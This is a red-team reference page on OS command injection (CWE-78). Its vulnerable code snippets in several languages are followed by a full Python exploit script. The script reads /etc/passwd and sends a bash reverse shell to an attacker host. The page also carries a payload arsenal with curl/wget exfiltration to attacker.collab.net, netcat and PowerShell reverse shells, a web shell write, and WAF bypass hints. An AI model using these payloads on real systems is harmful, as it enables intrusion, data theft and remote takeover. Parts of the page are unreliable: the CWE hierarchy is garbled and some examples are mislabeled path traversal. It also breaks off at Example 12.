title: "CWE-78: OS Command Injection"
description: "Complete red-team reference for CWE-78 — OS Command Injection. Exploitation techniques, working PoC, payload arsenal, real CVE case studies, and full attack kill chain."
slug: "cwe-78-os-command-injection"
date: "2026-04-06"
category: "cwe"
author: "ZeroDay Research Team"
tier: "🔥 Top Critical"
cwe_id: 78
tags: ["CWE-78", "exploit", "red-team", "vulnerability", "top-critical"]

Tier: 🔥 Top Critical
MITRE Reference: CWE-78

CWE-78: OS Command Injection - Deep Dive for Advanced Professionals

This document provides an uncensored, technical deep-dive into CWE-78 (OS Command Injection) for seasoned offensive security professionals. It covers exploitation from discovery to impact, including bypass techniques and real-world examples.

CWE-78 — Quick Reference Card

• One-line definition: A weakness where untrusted input is directly incorporated into an operating system command executed by the application, allowing an attacker to influence or control the command's execution.
• CVSS impact vectors: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Exploitation is often remote, low complexity, no privileges, no user interaction required, impacts all scopes, with high confidentiality, integrity, and availability).
• CWE hierarchy: CWE-77 (Improper Neutralization of Commands insubseteq of OS Commands) → CWE-78 (Improper Neutralization of Special Elements used in an OS Command) → CWE-787 (Improper Neutralization of other special elements used in an OS Command), CWE-788 (Improper Neutralization of LDAP Control Flow in an OS Command).
• OWASP Top 10 mapping: A03:2021 - Injection (This is a primary example of injection).
• Exploitation frequency: 🔥🔥🔥🔥🔥 (Extremely high. Frequently appears in CISA's Known Exploited Vulnerabilities catalog).
• Affected targets: Web applications, network appliances, IoT devices, legacy software, any application that interacts with the OS shell using user-controlled input. Languages: C, C++, PHP, Python, Java, Perl, Ruby, Go, shell scripts.

Root Cause Analysis

The fundamental root cause of CWE-78 lies in the improper handling of user-supplied data when constructing or executing operating system commands. Instead of treating input solely as data, the application concatenates or embeds it directly into a command string that is then passed to a system shell or an OS-level execution function (like system(), exec(), popen(), subprocess.run() with shell=True). This allows an attacker to inject special characters (e.g., ;, |, &, \, ) that have meaning to the shell, thereby altering the intended command or injecting entirely new commands.

Why this weakness persists is multifaceted:

1. Developer Misunderstanding: Many developers are unaware of the security implications of passing user input to OS commands, especially when using shell-based execution. They might assume input is validated elsewhere or that the command is simple enough to be safe.
2. Convenience of Shell Execution: Functions like system() or subprocess.run(..., shell=True) are often used for their simplicity in executing complex shell pipelines or commands that are easier to express in shell syntax than via programmatic APIs.
3. Lack of Robust Input Sanitization/Validation: Even when developers attempt to sanitize input, they often miss critical special characters or fail to apply them consistently. Whitelisting allowed characters is generally more secure than blacklisting, but blacklisting is more common.
4. Legacy Codebases: Many older applications and systems still in use were developed without modern security considerations, making them inherently vulnerable.
5. Indirect Input Sources: Input might come from configuration files, databases, or other indirect sources that are not adequately validated before being used in OS commands.

Vulnerable Code Snippets:

1. PHP:

<?php
// Vulnerable code: Directly embedding user input into an OS command
$filename = $_GET['filename']; // User controlled input
$command = "ls -l " . $filename; // Concatenating input into command string
system($command); // Executing the command via the system() function
?>

Explanation: The $filename variable, directly obtained from $_GET['filename'], is concatenated into the $command string. The system() function then executes this string. An attacker can provide input like "; rm -rf /; #" to execute arbitrary commands.

2. Python:

import subprocess
import os

# Vulnerable code: Using shell=True with user-controlled input
user_input = input("Enter a filename to view: ") # User controlled input
# The shell=True argument is the critical vulnerability here
subprocess.run(f"cat {user_input}", shell=True, check=True)

Explanation: The subprocess.run() function is called with shell=True. This causes the command string to be interpreted by the system's default shell. If user_input is somefile.txt; id, the command executed will be cat somefile.txt; id.

3. C:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <filename>\n", argv[0]);
        return 1;
    }

    char command[256];
    // Vulnerable code: Directly concatenating user input into a buffer
    // that will be passed to system()
    sprintf(command, "cat %s", argv[1]); // argv[1] is user-controlled input
    system(command); // Executing the command via the system() function

    return 0;
}

Explanation: The sprintf function is used to construct a command string by directly appending argv[1] (user-supplied command-line argument) to "cat ". The system() function then executes this string. An attacker could provide file.txt; touch /tmp/hacked as argv[1].

Architecture & Vulnerability Anatomy Diagram

+----------------------+      +---------------------+      +---------------------+
| Attacker             |      | Web Server/App      |      | Target OS           |
| (External Network)   |      | (e.g., Apache, Nginx)|      | (e.g., Linux, Windows)|
+----------------------+      +---------------------+      +---------------------+
        |                             |                            |
        | 1. Malicious HTTP Request   |                            |
        | (e.g., GET /ping?host=127.0.0.1;id) |                            |
        +---------------------------->|                            |
                                      | 2. Application Receives Input|
                                      |    (e.g., $_GET['host'])   |
                                      |                            |
                                      | 3. Constructs OS Command   |
                                      |    (e.g., "ping 127.0.0.1;id")|
                                      |    (VULNERABLE LINE)       |
                                      |                            |
                                      | 4. Executes Command        |
                                      |    (e.g., via system(),    |
                                      |     subprocess.run(shell=True))|
                                      |                            |
                                      |         +-----------------------+
                                      |         | OS Shell (e.g., bash) |
                                      |         +-----------------------+
                                      |                 | 5. Parses & Executes
                                      |                 |    Command (including injected)
                                      |                 |    - `ping 127.0.0.1`
                                      |                 |    - `;` (command separator)
                                      |                 |    - `id` (attacker's command)
                                      |                 |
                                      |                 +-----------------------+
                                      |                 | System Resources      |
                                      |                 | (Files, Processes,    |
                                      |                 |  Network Stack, etc.) |
                                      |                 +-----------------------+
                                      |
                                      | 6. Command Output (including `id` output)
                                      |    Sent back to application
                                      |
                                      | 7. Application Returns Output
                                      |    in HTTP Response to Attacker
                                      +---------------------------------------->|
                                                                               |
                                                                               | 8. Attacker Sees Output
                                                                               |    (e.g., uid=0(root) gid=0(root) groups=...)
                                                                               |

Diagram Explanation:

1. Attacker's Malicious Request: The attacker crafts an HTTP request containing specially crafted input designed to manipulate the OS command.
2. Application Receives Input: The web server passes this input to the application logic.
3. Constructs OS Command (VULNERABLE LINE): The application directly embeds the untrusted input into a string that will be executed as an OS command. This is the core vulnerability. Special characters (;, |, &, \, newline) are used to terminate the intended command and inject new ones.
4. Executes Command: The application uses a function that delegates command execution to the operating system's shell. The shell=True argument in Python's subprocess.run or system() in C/PHP are common culprits.
5. OS Shell Parses & Executes: The OS shell receives the full command string. It interprets the special characters, executing the original intended command and then any injected commands sequentially or conditionally.
6. Command Output: The output from all executed commands (including the attacker's) is captured.
7. Application Returns Output: The application sends this aggregated output back to the attacker, often within an HTTP response.
8. Attacker Sees Output: The attacker can now observe the results of their injected commands, confirming successful exploitation and potentially revealing sensitive system information.

Exploitation Techniques — Full Red-Team Breakdown

Step 1: Discovery & Reconnaissance

Goal: Identify potential points where user input is used to construct OS commands.

Techniques:

1. Manual Input Fuzzing:

   • Target Parameters: Look for parameters in GET/POST requests, URL paths, HTTP headers (e.g., User-Agent, Referer), cookies, JSON/XML payloads, file uploads.
   • Test Characters: Inject shell metacharacters: ;, |, &, ||, &&, (, ), , `\`, `$()`, ` , \n, \r\n`.
   • Test Commands:
     • id (Linux/macOS), whoami (Windows) - to check user context.
     • ls -la, dir - to enumerate files.
     • pwd, cd, echo %cd% - to check current directory.
     • ping -c 1 <your_ip>, nslookup <your_domain> - to check network connectivity and DNS resolution for exfiltration.
     • cat /etc/passwd, type C:\Windows\System32\drivers\etc\hosts - to read sensitive files.
     • wget, curl - to download payloads.
     • nc, bash -i >& /dev/tcp/<your_ip>/<port> 0>&1 - for reverse shells.
     • sleep 5, ping -c 5 <your_ip> - to detect blind injection by measuring response time.

2. Automated Scanning (DAST):

   • Tools: Burp Suite (Scanner, Intruder), OWASP ZAP, Nessus, Acunetix, Nikto.
   • Payloads: Configure scanners to use comprehensive command injection payloads. Many scanners have built-in checks for common OS command injection patterns.
   • Blind Injection Detection: Use scanners that support out-of-band (OOB) data collection (e.g., Burp Collaborator, ProjectDiscovery's interactsh) or time-based detection.

3. Static Analysis (SAST):

   • Tools: CodeQL, Semgrep, SonarQube, Checkmarx, Bandit (Python).
   • Patterns: Search for:
     • Calls to system(), exec(), popen(), shell_exec() (PHP).
     • subprocess.run(..., shell=True), os.system() (Python).
     • Runtime.getRuntime().exec() (Java) when not properly sanitized.
     • strcpy(), strcat() with user input into command buffers (C/C++).
     • Any function that directly executes shell commands with unvalidated string concatenations.

4. Reviewing Application Behavior:

   • Functionality: Look for features that interact with the OS, such as file upload/download, ping tools, traceroute, network diagnostics, scripting interfaces, image manipulation, code execution environments.
   • Error Messages: Malformed input might cause unexpected error messages revealing execution context.
   • Performance Delays: A deliberate sleep command can confirm blind command injection.

Example SAST Pattern (Semgrep for Python):

rules:
  - id: python-os-command-injection
    message: "User input is used in an OS command via shell=True. This can lead to OS command injection. Sanitize input or avoid shell=True."
    languages: [python]
    severity: ERROR
    patterns:
      - pattern-either:
          - pattern: |
              subprocess.run($CMD, shell=True, ...)
          - pattern: |
              subprocess.Popen($CMD, shell=True, ...)
          - pattern: |
              os.system($CMD)
      - pattern-where: |
          $CMD contains $INPUT
          metavariable-regex:
            metavariable: $INPUT
            regex: '.*(request\.args|request\.form|request\.cookies|request\.headers).*' # Example for Flask/Django

Step 2: Vulnerability Triggering

Goal: Confirm the application is vulnerable to OS command injection.

Techniques:

1. Simple Command Execution:

   • Payload: Append a semicolon ; followed by a simple command like id or whoami.
   • Example Input (URL parameter file): http://target.com/app?file=myfile.txt;id
   • Expected Result: The output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)) appears in the response.

2. Blind Injection Detection (Time-based):

   • Payload: Append a command that causes a noticeable delay, like sleep 5.
   • Example Input (URL parameter host): http://target.com/ping?host=127.0.0.1;sleep 5
   • Expected Result: The server's response takes at least 5 seconds longer than usual. This confirms injection even if no output is directly visible.

3. Blind Injection Detection (Out-of-Band - OOB):

   • Payload: Use a command that triggers an external network request, often to a server controlled by the attacker (e.g., Burp Collaborator, interactsh).
   • Example Input (URL parameter file): http://target.com/download?file=report.pdf;curl http://attacker.collab.net/$(whoami)
   • Expected Result: The attacker's OOB listener receives an HTTP request from the target server, potentially including the output of whoami in the hostname or path.

4. Command Chaining and Logic:

   • Payload: Use && or || to test conditional execution.
   • Example Input (URL parameter file): http://target.com/app?file=myfile.txt && id (Execute id only if myfile.txt command succeeds) or http://target.com/app?file=nonexistent.txt || id (Execute id only if nonexistent.txt command fails).
   • Expected Result: Observe whether id executes based on the success/failure of the preceding command.

Step 3: Full Working Exploit

This exploit uses Python and the pwntools library to demonstrate a command injection vulnerability in a hypothetical web application.

Scenario: A web application at http://vulnerable.example.com has an endpoint /download that takes a file parameter. It constructs a command like cat /var/www/html/downloads/USER_FILE and executes it using subprocess.run(..., shell=True).

Vulnerable Snippet (Python CGI script):

#!/usr/bin/env python3
import cgi
import subprocess
import os

print("Content-Type: text/html\n")

form = cgi.FieldStorage()
filename = form.getvalue("file")

if filename:
    # !!! VULNERABLE LINE !!!
    command = f"cat /var/www/html/downloads/{filename}"
    try:
        # Using shell=True is dangerous with unsanitized input
        result = subprocess.run(command, shell=True, capture_output=True, text=True, check=True)
        print(f"<h1>File Content:</h1><pre>{result.stdout}</pre>")
    except subprocess.CalledProcessError as e:
        print(f"<h1>Error:</h1><pre>{e.stderr}</pre>")
    except FileNotFoundError:
        print("<h1>Error:</h1><pre>File not found.</pre>")
else:
    print("<h1>Please provide a filename.</h1>")

Exploit Code (Python):

#!/usr/bin/env python3

from pwn import *
import requests
import sys

# --- Configuration ---
# Target URL of the vulnerable application
TARGET_URL = "http://vulnerable.example.com"
# The endpoint and parameter that is vulnerable
ENDPOINT = "/cgi-bin/download.py" # Assuming a CGI script
VULN_PARAM = "file"

# Attacker's listener for reverse shell (if needed)
# If you want to test OOB, replace this with your Burp Collaborator/interactsh domain
ATTACKER_HOST = "10.0.0.5" # Your IP address
ATTACKER_PORT = 4444

# --- Exploit Logic ---

def send_command(command_to_inject):
    """
    Sends a command to the vulnerable endpoint and returns the output.
    Handles both direct output and potential errors.
    """
    payload_value = f"../../../../../../../../../../etc/passwd; {command_to_inject}" # Example to read /etc/passwd
    # payload_value = f"../../../../../../../../../../etc/passwd; echo 'INJECTED_PAYLOAD' > /tmp/pwned_test; cat /tmp/pwned_test"

    url = f"{TARGET_URL}{ENDPOINT}"
    params = {VULN_PARAM: payload_value}

    try:
        log.info(f"Sending command: {command_to_inject}")
        response = requests.get(url, params=params)
        response.raise_for_status() # Raise an exception for bad status codes

        # The output of the injected command is usually within the HTML response
        # We need to parse the response to extract it.
        # This is a simplistic parser; a real-world scenario might need more robust parsing.
        # Assuming the output is within <pre> tags.
        if "<h1>File Content:</h1>" in response.text:
            start = response.text.find("<pre>") + len("<pre>")
            end = response.text.find("</pre>")
            if start != -1 and end != -1:
                content = response.text[start:end]
                log.success(f"Command '{command_to_inject}' executed successfully.")
                print("\n--- Command Output ---")
                print(content)
                print("--------------------\n")
                return content
            else:
                log.warning("Could not find output within <pre> tags.")
                return None
        elif "<h1>Error:</h1>" in response.text:
            start = response.text.find("<pre>") + len("<pre>")
            end = response.text.find("</pre>")
            if start != -1 and end != -1:
                error_msg = response.text[start:end]
                log.error(f"Command '{command_to_inject}' resulted in an error.")
                print("\n--- Error Output ---")
                print(error_msg)
                print("--------------------\n")
                return None
            else:
                log.warning("Could not find error message within <pre> tags.")
                return None
        else:
            log.info("Command sent, but no clear output or error found in expected format.")
            return None

    except requests.exceptions.RequestException as e:
        log.error(f"Request failed: {e}")
        return None

def execute_reverse_shell():
    """
    Attempts to establish a reverse shell.
    This requires the target to have network connectivity to the attacker's listener.
    """
    # Bash reverse shell payload
    # For Windows, use PowerShell or cmd.exe equivalents
    reverse_shell_payload = f"bash -i >& /dev/tcp/{ATTACKER_HOST}/{ATTACKER_PORT} 0>&1"
    log.info(f"Attempting to establish reverse shell to {ATTACKER_HOST}:{ATTACKER_PORT}...")

    send_command(reverse_shell_payload)

    log.warning("Reverse shell payload sent. Check your listener (e.g., nc -lvnp 4444).")
    log.warning("This may require the target to have network access to your listener.")

def read_file(filepath):
    """
    Reads the content of a file on the target system.
    """
    # Path traversal to get out of the web root, then read the file
    # The number of '../' depends on the web root depth. Adjust as needed.
    # Example: /var/www/html/downloads/../../../../../../../../../../etc/passwd
    command_to_inject = f"cat {filepath}"
    return send_command(command_to_inject)

def main():
    log.info("Starting OS Command Injection Exploit")

    # 1. Test for basic command execution (e.g., read /etc/passwd)
    log.info("Attempting to read /etc/passwd...")
    passwd_content = read_file("/etc/passwd")
    if passwd_content:
        log.success("/etc/passwd content retrieved.")
        # print(passwd_content) # Already printed by send_command
    else:
        log.error("Failed to retrieve /etc/passwd. The vulnerability might not be present or is protected.")
        # sys.exit(1) # Optionally exit if basic test fails

    # 2. Attempt to establish a reverse shell
    # Ensure your listener is running: nc -lvnp 4444
    print("\n" + "="*30)
    print("Attempting reverse shell (ensure listener is running on {}:{})".format(ATTACKER_HOST, ATTACKER_PORT))
    print("="*30 + "\n")
    execute_reverse_shell()

    # 3. Example: Write a file to the webroot (if permissions allow)
    # This could be used to host a malicious script or web shell.
    # log.info("Attempting to write a test file to the webroot...")
    # test_file_path = "/var/www/html/downloads/pwned_test.txt" # Adjust path if needed
    # test_content = "This file was written by the exploit."
    # write_command = f"echo '{test_content}' > {test_file_path}"
    # send_command(write_command)
    # log.info(f"Sent command to write to {test_file_path}. Check if accessible via browser.")

if __name__ == "__main__":
    # Basic check for attacker IP configuration
    if ATTACKER_HOST == "10.0.0.5": # Default placeholder
        print("WARNING: ATTACKER_HOST is set to a placeholder IP. Please configure with your actual IP for reverse shells.")
        print("         Skipping reverse shell execution for now. You can manually call execute_reverse_shell().")
        # sys.exit(1) # Optionally exit if not configured

    main()

To Run This Exploit:

1. Set up a listener: On your attacker machine (10.0.0.5), run nc -lvnp 4444.
2. Start the vulnerable web server: Deploy the download.py CGI script in a web server's CGI directory (e.g., /var/www/cgi-bin/) on a target machine. Ensure vulnerable.example.com resolves to this machine. The web server user needs read permissions to /var/www/html/downloads/ and potentially write permissions to it if you want to test file writing.
3. Run the Python exploit script: python exploit.py.

Expected Output (on attacker's terminal):

[+] Starting OS Command Injection Exploit
[+] Attempting to read /etc/passwd...
[*] Sending command: cat /etc/passwd
--- Command Output ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
... (rest of /etc/passwd) ...
--------------------

[+] /etc/passwd content retrieved.

==============================
Attempting reverse shell (ensure listener is running on 10.0.0.5:4444)
==============================

[*] Sending command: bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
[*] Reverse shell payload sent. Check your listener (e.g., nc -lvnp 4444).
[*] This may require the target to have network access to your listener.

On the listener (nc):

Listening on [0.0.0.0] (family 0, port 4444)
Connection received from 192.168.1.100 49152 (ip.addr)
/bin/bash: no tty present and no askpass program specified
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
pwd
/var/www/html/downloads
... (shell prompt) ...

Step 4: Escalation & Impact

Once OS command injection is achieved, the impact can be severe and varied:

1. Information Disclosure:

   • Read sensitive configuration files (/etc/passwd, /etc/shadow, application secrets, database credentials).
   • Enumerate users, groups, running processes, network connections.
   • Access application data and source code.

2. Remote Code Execution (RCE):

   • Reverse Shell: Establish an interactive shell session on the target. This is the most common goal.
   • Bind Shell: Open a listening port on the target, allowing direct shell access.
   • Execute Arbitrary Commands: Run any command available on the system.

3. Privilege Escalation:

   • If the vulnerable application runs with elevated privileges (e.g., root, SYSTEM), the injected commands will also run with those privileges.
   • If the application runs as a low-privilege user, the attacker can use the injected commands to discover local privilege escalation vulnerabilities (e.g., SUID binaries, weak file permissions, kernel exploits).

4. Persistence:

   • Install backdoors, create new user accounts, schedule cron jobs/scheduled tasks.
   • Modify system configurations to maintain access.

5. Lateral Movement:

   • Use compromised credentials or discovered network information to access other systems on the internal network.
   • Deploy malware or ransomware.

6. Denial of Service (DoS):

   • Delete critical system files (rm -rf /).
   • Consume excessive resources (CPU, memory, disk).
   • Reboot or shut down the system.

Step 5: Tool Arsenal

• Burp Suite:

  • Scanner: Automated detection of command injection vulnerabilities.
  • Intruder: Fuzzing parameters with custom payload lists (shell metacharacters, common commands).
  • Collaborator Client: For detecting blind command injection via OOB interactions.
  • Extender (e.g., Paramalyzer, Logger++): To identify all parameters and track requests.

• Metasploit Framework:

  • auxiliary/scanner/http/generic_scanner: Can be configured with command injection payloads.
  • exploit/multi/handler: For receiving reverse shells.
  • Numerous specific exploits for known vulnerable applications that might involve command injection.

• pwntools:

  • Excellent for scripting exploits, especially in Python.
  • remote() class for network interactions.
  • process() for local process interaction (useful if the injection is local).
  • shellcraft for generating shellcode.
  • cyclic() for finding offsets in memory corruption exploits (less relevant for pure command injection but often chained).

• Custom Scripts (Python/Bash):

  • For automating reconnaissance, fuzzing specific parameters, or handling complex injection scenarios.
  • requests library for HTTP interactions.
  • subprocess for local command execution.

• Network Tools:

  • nmap: Port scanning, service enumeration.
  • nc (netcat): Listener for reverse shells, data transfer.
  • ping, traceroute: Network diagnostics.

• Payload Generation Tools:

  • msfvenom: For generating various shellcode payloads.
  • Online payload generators (use with caution).

Example pwntools Command for Reverse Shell:

If you have a direct command injection point and want to execute a reverse shell:

from pwn import *

# Assume 'r' is your connected remote object (e.g., from Tube or process)
# Or if it's a web request, you'd use requests library to send the command
# For demonstration, let's assume we can send commands directly via 'r'

# Target attacker IP and port
ATTACKER_IP = "10.0.0.5"
ATTACKER_PORT = 4444

# Bash reverse shell payload
# For Windows, use powershell: powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Linux/macOS Bash reverse shell
# Exploit the command injection point to execute this.
# Example: If your injection is via a parameter 'cmd', you'd send:
# cmd=bash+-i+>&+/dev/tcp/10.0.0.5/4444+0>&1
# The number of '../' depends on the path traversal needed to get out of web root.
# Example for a web app: ../../../../../../../../../etc/passwd; bash -i >& /dev/tcp/10.0.0.5/4444 0>&1

# Placeholder command to simulate sending this via a web request
# In a real scenario, you'd use requests.get(url, params={'cmd': payload})
print(f"Simulating sending command: bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1")

# If you get a shell, you can interact with it using pwntools' interactive mode
# Example:
# shell = process("bash") # If you have a local bash shell
# shell.interactive()

Payload Arsenal — 6+ Working Payloads

This section details various payloads and techniques used to exploit OS command injection.

1. Basic Command Execution & Information Disclosure

   • Context: Reading sensitive files or system information.
   • Payload: id, whoami, pwd, ls -la /, cat /etc/passwd, cat /etc/shadow, hostname, uname -a
   • Example Input: http://target.com/app?cmd=id
   • Bypass: Often works directly unless WAF blocks specific commands.

2. Blind Time-Based Injection

   • Context: When command output is not directly visible in the response. Used to confirm vulnerability and infer success.
   • Payload: sleep 10, ping -c 10 <your_ip>
   • Example Input: http://target.com/app?cmd=sleep 10
   • Bypass: Time delays are generally not blocked by WAFs.

3. Blind Out-of-Band (OOB) Injection

   • Context: When command output is not visible, but the server can make outbound network connections. Uses attacker-controlled server (e.g., Burp Collaborator, interactsh) to receive data.
   • Payload: curl http://attacker.collab.net/$(whoami), wget http://attacker.collab.net/$(hostname)
   • Example Input: http://target.com/app?cmd=curl http://attacker.collab.net/$(id)
   • Bypass: WAFs may block curl, wget, or specific domains. Encoding or using alternative network tools can help.

4. Reverse Shell (Linux/macOS)

   • Context: Gaining an interactive shell session.
   • Payload (Bash): bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1
   • Payload (Netcat): nc ATTACKER_IP ATTACKER_PORT -e /bin/bash (requires nc with -e option)
   • Example Input: http://target.com/app?cmd=bash+-i+>&+/dev/tcp/10.0.0.5/4444+0>&1 (URL encoded)
   • Bypass: WAFs often block bash, -i, /dev/tcp, nc, -e. Use encoding, alternative shells (python, perl, php), or obfuscation.

5. Reverse Shell (Windows)

   • Context: Gaining an interactive shell on Windows.
   • Payload (PowerShell): powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',ATTACKER_PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
   • Payload (cmd.exe): cmd /c "echo ... | nc ATTACKER_IP ATTACKER_PORT -e cmd.exe" (less common, requires specific nc)
   • Example Input: Requires URL encoding of the PowerShell command.
   • Bypass: WAFs may block powershell, iex, New-Object, TCPClient. Obfuscation and alternative execution methods are key.

6. File Write / Web Shell Deployment

   • Context: Uploading a malicious script (e.g., PHP, ASPX) to the web server to gain a persistent web shell.
   • Payload: echo '<?php system($_GET[\'cmd\']); ?>' > /var/www/html/shell.php
   • Example Input: http://target.com/app?cmd=echo+%3C%3Fphp+system(%24_GET%5B%27cmd%27%5D)%3B+%3F%3E+%3E+/var/www/html/shell.php (URL encoded)
   • Bypass: WAFs may block echo, > or specific shell code patterns. Using base64 encoding for the shell code and decoding on the target can help.

7. Command Chaining & Logic Exploitation

   • Context: Using shell logic (&&, ||, ;) to execute commands conditionally or sequentially.
   • Payload: ls -l /nonexistent_dir && id (id only runs if ls fails), ls -l / && echo "OK" (echo runs after ls succeeds)
   • Example Input: http://target.com/app?cmd=ls+-l+/nonexistent_dir+&&+id
   • Bypass: WAFs might block multiple commands or specific operators.

8. Exploiting Specific Application Logic

   • Context: If the application performs specific actions based on input (e.g., network ping tool, image processing).
   • Payload: If a ping tool takes host as input: 127.0.0.1; nc ATTACKER_IP ATTACKER_PORT -e /bin/bash
   • Example Input: http://target.com/ping?host=127.0.0.1;nc+10.0.0.5+4444+-e+/bin/bash
   • Bypass: Depends on how the application parses/sanitizes the input before passing it to the OS command.

Massive Example Bank (Minimum 50)

Here are 50+ distinct examples of CWE-78 across various contexts.

Example 01

• Target Context: PHP web application, ping.php script.
• Vulnerable Snippet: <?php $host = $_GET['host']; system("ping -c 4 " . $host); ?>
• Exploit Input: http://target.com/ping.php?host=127.0.0.1;id
• Expected Attacker-Visible Result: The output of the id command is displayed in the HTML response, mixed with the ping output.
• Technical Reason: $_GET['host'] is directly concatenated into the system() command. The semicolon ; terminates the ping command and starts a new id command.

Example 02

• Target Context: Python Flask application, route /exec.
• Vulnerable Snippet:

  from flask import Flask, request
  import subprocess
  app = Flask(__name__)
  @app.route('/exec')
  def exec_cmd():
      cmd = request.args.get('cmd')
      # VULNERABLE: shell=True with user input
      subprocess.run(f"echo {cmd}", shell=True)
      return "Command executed."

• Exploit Input: http://target.com/exec?cmd=hello%0Aworld (newline character)
• Expected Attacker-Visible Result: The server prints "Command executed." but the echo command will output "hello" then "world" on separate lines (though the app might not display it). If the command was id, the output would be lost unless capture_output=True was used and the output parsed.
• Technical Reason: shell=True combined with direct string formatting of cmd allows injection. The newline character \n (URL encoded as %0A) can separate commands.

Example 03

• Target Context: Java web application, Servlet FileDownloadServlet.
• Vulnerable Snippet:

  String filename = request.getParameter("filename");
  // VULNERABLE: Uses Runtime.getRuntime().exec with unsanitized input
  Process process = Runtime.getRuntime().exec("cat /web/files/" + filename);
  // ... read process output ...

• Exploit Input: http://target.com/FileDownloadServlet?filename=../../../../etc/passwd
• Expected Attacker-Visible Result: The content of /etc/passwd is returned as part of the servlet's response.
• Technical Reason: Path traversal (../) is used to escape the /web/files/ directory, and cat then reads the specified file.

Example 04

• Target Context: A network appliance's diagnostic tool (e.g., ping utility).
• Vulnerable Input: A web interface parameter ip_address.
• Exploit Input: http://appliance.local/diag?ip_address=127.0.0.1;reboot
• Expected Attacker-Visible Result: The appliance reboots.
• Technical Reason: The ip_address is likely passed directly to a system call like system("ping -c 4 " + ip_address).

Example 05

• Target Context: CGI script written in Perl.
• Vulnerable Snippet:

  use CGI;
  my $cgi = CGI->new;
  my $host = $cgi->param('host');
  # VULNERABLE: Direct execution via backticks
  my $output = `ping -c 4 $host`;
  print "Content-Type: text/plain\n\n";
  print $output;

• Exploit Input: http://target.com/cgi-bin/ping.pl?host=127.0.0.1%7Cid (pipe character)
• Expected Attacker-Visible Result: The output of id is displayed.
• Technical Reason: Perl's backticks ( ) execute a command in the shell. The pipe | (URL encoded as %7C) sends the output of ping to the id command.

Example 06

• Target Context: PHP script using shell_exec().
• Vulnerable Snippet: <?php $file = $_GET['file']; echo shell_exec("ls -l /var/www/data/" . $file); ?>
• Exploit Input: http://target.com/list.php?file=../../../../secret.txt
• Expected Attacker-Visible Result: The content of /var/www/data/../../../../secret.txt (which resolves to /secret.txt if it exists) is displayed.
• Technical Reason: shell_exec() executes commands via the shell. Path traversal allows reading files outside the intended directory.

Example 07

• Target Context: Python script using os.system().
• Vulnerable Snippet:

  import os
  user_input = input("Enter filename: ")
  os.system(f"cat /home/user/files/{user_input}")

• Exploit Input: file.txt; rm -rf /tmp/* (typed into the prompt)
• Expected Attacker-Visible Result: The specified file is cated, and then all files in /tmp are deleted.
• Technical Reason: os.system() executes commands in a subshell. The semicolon ; allows command chaining.

Example 08

• Target Context: Ruby on Rails application, controller action.
• Vulnerable Snippet:

  def run_command
    param = params[:param]
    # VULNERABLE: Using backticks with unsanitized input
    system("echo #{param}")
    render plain: "Done"
  end

• Exploit Input: http://target.com/run_command?param=hello%26%26id
• Expected Attacker-Visible Result: "Done" is rendered, but the id command executes in the background (output might be lost unless captured).
• Technical Reason: Backticks and system() execute commands in the shell. && conditionally executes the next command.

Example 09

• Target Context: PHP script using passthru().
• Vulnerable Snippet: <?php $cmd = $_POST['command']; passthru("grep " . $cmd . " /var/log/syslog"); ?>
• Exploit Input: POST /log.php with command=abc%26%26whoami
• Expected Attacker-Visible Result: Output of grep for "abc" (if any), followed by the output of whoami.
• Technical Reason: passthru() executes a command and outputs raw data. Similar to system(), it's vulnerable to shell metacharacters.

Example 10

• Target Context: Python script using os.popen().
• Vulnerable Snippet:

  import os
  filename = input("Enter filename to process: ")
  # VULNERABLE: os.popen executes in a shell
  with os.popen(f"process_data {filename}") as f:
      output = f.read()
  print(output)

• Exploit Input: data.csv; touch /tmp/file_created
• Expected Attacker-Visible Result: process_data data.csv runs, then /tmp/file_created is created. The output of process_data is printed.
• Technical Reason: os.popen() opens a pipe to or from a command, executing it via the shell.

Example 11

• Target Context: Go web server, handler for /run.
• Vulnerable Snippet:

  import (
      "net/http"
      "os/exec"
  )
  func runHandler(w http.ResponseWriter, r *http.Request) {
      cmdName := r.URL.Query().Get("cmd")
      // VULNERABLE: exec.Command with shell=true equivalent via cmdName passed directly
      // This is a simplified example; a real Go app might use os/exec differently.
      // More commonly, Go apps avoid shell=true, but if they do...
      cmd := exec.Command("sh", "-c", cmdName) // THIS IS THE VULNERABILITY
      output, _ := cmd.CombinedOutput()
      w.Write(output)
  }

• Exploit Input: http://target.com/run?cmd=ls%20-la%20/
• Expected Attacker-Visible Result: The output of ls -la / is displayed.
• Technical Reason: exec.Command("sh", "-c", cmdName) explicitly invokes a shell (sh) to execute the provided cmdName string.

Example 12

• Target Context: PHP exec() function.
• Vulnerable Snippet: <?php $path = $_GET['path']; exec("ls " . $path, $output); print_r($output); ?>
• Exploit Input: http://target.com/list.php?path=/etc/passwd
